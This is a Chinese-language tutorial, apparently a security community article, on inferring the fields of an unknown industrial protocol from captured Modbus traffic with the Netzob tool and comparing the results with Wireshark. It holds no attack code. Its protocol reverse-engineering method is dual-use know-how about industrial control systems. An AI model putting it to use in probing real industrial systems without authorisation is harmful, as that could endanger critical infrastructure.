我们将其按字典序排序，然后建立树，根节为空，每个字母为一个节点，从根到叶子就对应了一个单词，如图所示
我们还可以对单节点链条进行压缩，当然这个单词所有的链条都是单节点的……然后我们将modicon也按后缀，然后插入到这个树中，重合的部分即为公共子串（因为我不知道怎么画图，所以你们就自行想象一下吧）。
聚类（cluster），大白话就是分类，一是用来对流量进行粗略分类，二是用来对提取的字符串进行分类。具体涉及的包括了k紧邻算法、关键词树算法等等
以上是一些基础性的问题，有了以上的基础，我们可以大致将流量包的分析归为以下几步：
* 粗略聚类，提取主要分析的流量，并将相似的流量首先分到一起
* 采用各类算法来对字段进行划分
* 根据某些字段再次进行聚类
* 对一类的流量进行关系分析
### Netzob划分数据
netzob是一种基于网络轨迹的逆向工具，目的就是为了分析未知协议，当然还有其他的一些，比如PI等等，我们这里就以netzob为例进行操作。
首先当然是要安装，netzob需要大量的前置包，安装很麻烦，很有可能遇到各种错误，因为和实际环境有关，所以我也没法全部列举出来，大家安装时自行尝试吧
apt-get install python-dev #提前需要安装的库
apt-get install python-impacket
apt-get install python-setuptools
apt-get install libxml2-dev
apt-get install libxslt-dev
apt-get install gtk3
apt-get install graphviz
git clone https://github.com/netzob/netzob.git
cd netzob
python3 setup.py develop --user #开发者友好模式
以上步骤完成后我们就可以在python3中import了
from netzob.all import *
当然也可以python3 setup.py
install来安装友好的图形化界面，使用./netzob即可打开，但是在我的机器上出现了问题，大家可以自行尝试。如果实在是安装不成功的同学，官方也给了docker镜像
docker pull netzob/netzob
docker run --rm -it -v $(pwd):/data netzob/netzob #pwd为当前位置，挂载到根目录下的data
搞定后我们就可以开始干活了
m = PCAPImporter.readFile("modbus.pcap").values()
该条语句用来导入我们的流量包，我们可以查看一下它的说明
参数主要关注两个，一个是importLayer，这是指定我们要分析的data是在哪一层，以我们modbus来说，是基于tcp的，所以data就相当于是tcp往上一层，所以填5，如果是S7comm呢则要考虑你要分析哪一层再进行选择；另一个是bpfFilter（Berkeley
Packet Filter)，也即是伯克利包过滤的意思，这是一种语法，可以指定你要选择哪些流量，如下所示：
host 0.0.0.0 and (port 138) #筛选出ip为0.0.0.0且端口为138的流量包
接着我们进行符号化，即筛选出所有相似的流量，这里就涉及到了我们之前提到的数学知识
s = Symbol(messages = m)
可以看到提取出来的就是相似的流量就是我们流量包中的modbus部分，这一步就相当于我们上面提到的粗略聚类，Netzob将modbus部分的流量提取了出来，并将这些流量放到了一起。但是现在我们还是啥也看不出来，我们希望能够对data再次进行分析，对比得到哪些字符应该是一块的，哪些是分开的。
Format.splitStatic(s)
该方法用来将我们的data根据相似性与静态分布规律，划分为几个Field，当然，我们也可以通过“肉眼观察法”使用splitDelimiter(symbol,ASCII(“Z”)来进行人工的划分。这一步相当于“采用各类算法来对字段进行划分”，也是核心部分，如图即为划分Field后的symbol
我们就以第一组为例，打开wireshark来检查一下分析的结果
真正的划分如下：
'x00x00' | 'x00x00' | 'x00x04' | 'x00Z' | 'x00x02'
可以看到差距较大，观察流量包后发现，主要原因是因为modbus的前四个字段在该流量包中区分不太“明显“，以第一个字段举例，modbus用了两个字节表示事务标识符（即Transaction
identifier
），但在这些流量中最多最多就是x00x01，根本就没有用到低字节，所以在划分时被认为是两个字段了。同理，长度字段也是如此，该流量包中的length也没有用到低字节，所以也被划为了两个字段。
知道了情况我们就可以对症下药了，一是我们引入新的流量包，选取一些数据量较大、情况足够全面的流量，可以稍加完善；二是我们通过不断的尝试和日常积累进行手动划分，比如每种协议基本都有的length字段、标识字段等等进行手动划分。但是由于协议本身的规定与限制（比如，虽然给了两个字节，但是实际上并没有使用低字节，厂商只是为了扩展或者对齐），我们只可能完善，但绝不可能完美划分字段，不过仅仅是这样对我们的帮助已经很大了。
之后我们要进行的步骤为“根据某些字段再次进行聚类”，但是这里由于我们对于哪个是关键字段并不清楚，所以暂时放弃这一步。
接下来我们要做的工作就是要猜测字段的含义，当然我们通过这种方式绝对不可能“猜”出来“Z”是施耐德专用的功能码，我们能做的是推理这些字段之间的关系。
for symbol in symbols.values():
rels = RelationFinder.findOnSymbol(symbol)
print("[+] Relations found: ")
for rel in rels:
print(" " + rel["relation_type"] + ", between '" + rel["x_attribute"] + "' of:")
print(" " + str('-'.join([f.name for f in rel["x_fields"]])))
p = [v.getValues()[:] for v in rel["x_fields"]]
print(" " + str(p))
print(" " + "and '" + rel["y_attribute"] + "' of:")
print(" " + str('-'.join([f.name for f in rel["y_fields"]])))
p = [v.getValues()[:] for v in rel["y_fields"]]
print(" " + str(p))
RelationFinder为我们提供了不同的关系分析方法，这里我们选择使用基于符号的分析方法，也就是对我们之前进行过Field划分的符号进行分析。
当然，这只能探索符号内部的关系，像是我们的数据包，我们只能发现length字段，但是已经是非常大的进步。为我们之后进行测试、逆向程序都省下了不少功夫。
## 总结
虽然说了不少东西，但大多还是以理论为主，实际上代码就撩撩几行，当然这也是我们协议分析的第一步，在之后的文章中我们将基于这部分内容，继续进行探索。 | 社区文章 |
Subsets and Splits